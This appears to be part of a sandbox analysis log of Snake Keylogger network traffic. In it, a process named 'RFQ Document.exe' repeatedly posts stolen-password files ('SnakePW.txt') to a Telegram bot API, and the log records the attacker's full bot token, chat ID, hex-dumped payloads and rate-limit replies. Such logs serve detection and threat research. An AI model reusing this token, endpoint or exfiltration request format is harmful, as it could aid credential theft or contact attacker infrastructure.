2021-09-28 05:59:49 UTC	482	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:49 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:49 UTC	482	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 39 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 38 39 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12892,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808789,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
303	192.168.2.4	50140	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:49 UTC	482	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f6a6c7a7 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:49 UTC	483	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 36 61 36 63 37 61 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f6a6c7a7Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:49 UTC	483	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:49 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:49 UTC	484	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 39 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 38 39 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12893,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808789,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
304	192.168.2.4	50141	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:49 UTC	484	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f6be9e54 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:49 UTC	484	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 36 62 65 39 65 35 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f6be9e54Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:49 UTC	485	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:49 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:49 UTC	485	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 39 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 38 39 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12894,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808789,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
305	192.168.2.4	50142	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:49 UTC	486	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f6d67670 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:49 UTC	486	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 36 64 36 37 36 37 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f6d67670Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:49 UTC	486	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:49 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:49 UTC	487	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 38 39 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 38 39 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12895,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808789,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
306	192.168.2.4	50143	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:49 UTC	487	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f6f3139c Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:49 UTC	488	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 36 66 33 31 33 39 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f6f3139cContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:49 UTC	488	IN	HTTP/1.1 429 Too Many Requests Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:49 GMT Content-Type: application/json Content-Length: 111 Connection: close Retry-After: 10 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:49 UTC	488	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 32 39 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 54 6f 6f 20 4d 61 6e 79 20 52 65 71 75 65 73 74 73 3a 20 72 65 74 72 79 20 61 66 74 65 72 20 31 30 22 2c 22 70 61 72 61 6d 65 74 65 72 73 22 3a 7b 22 72 65 74 72 79 5f 61 66 74 65 72 22 3a 31 30 7d 7d Data Ascii: {"ok":false,"error_code":429,"description":"Too Many Requests: retry after 10","parameters":{"retry_after":10}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
307	192.168.2.4	50144	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:49 UTC	488	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f70ae976 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:49 UTC	489	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 37 30 61 65 39 37 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f70ae976Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:50 UTC	489	IN	HTTP/1.1 429 Too Many Requests Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:50 GMT Content-Type: application/json Content-Length: 111 Connection: close Retry-After: 10 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:50 UTC	490	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 32 39 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 54 6f 6f 20 4d 61 6e 79 20 52 65 71 75 65 73 74 73 3a 20 72 65 74 72 79 20 61 66 74 65 72 20 31 30 22 2c 22 70 61 72 61 6d 65 74 65 72 73 22 3a 7b 22 72 65 74 72 79 5f 61 66 74 65 72 22 3a 31 30 7d 7d Data Ascii: {"ok":false,"error_code":429,"description":"Too Many Requests: retry after 10","parameters":{"retry_after":10}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
308	192.168.2.4	50145	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:50 UTC	490	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f7193963 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:50 UTC	490	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 37 31 39 33 39 36 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f7193963Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:50 UTC	490	IN	HTTP/1.1 429 Too Many Requests Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:50 GMT Content-Type: application/json Content-Length: 109 Connection: close Retry-After: 9 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:50 UTC	491	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 32 39 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 54 6f 6f 20 4d 61 6e 79 20 52 65 71 75 65 73 74 73 3a 20 72 65 74 72 79 20 61 66 74 65 72 20 39 22 2c 22 70 61 72 61 6d 65 74 65 72 73 22 3a 7b 22 72 65 74 72 79 5f 61 66 74 65 72 22 3a 39 7d 7d Data Ascii: {"ok":false,"error_code":429,"description":"Too Many Requests: retry after 9","parameters":{"retry_after":9}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
309	192.168.2.4	50146	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:50 UTC	491	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255f7310ec4 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:50 UTC	491	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 66 37 33 31 30 65 63 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255f7310ec4Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:50 UTC	492	IN	HTTP/1.1 429 Too Many Requests Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:50 GMT Content-Type: application/json Content-Length: 109 Connection: close Retry-After: 9 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:50 UTC	492	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 32 39 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 54 6f 6f 20 4d 61 6e 79 20 52 65 71 75 65 73 74 73 3a 20 72 65 74 72 79 20 61 66 74 65 72 20 39 22 2c 22 70 61 72 61 6d 65 74 65 72 73 22 3a 7b 22 72 65 74 72 79 5f 61 66 74 65 72 22 3a 39 7d 7d Data Ascii: {"ok":false,"error_code":429,"description":"Too Many Requests: retry after 9","parameters":{"retry_after":9}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.4	49805	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:26 UTC	49	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255c5922b0d Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:26 UTC	49	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 35 39 32 32 62 30 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255c5922b0dContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:27 UTC	50	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:27 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
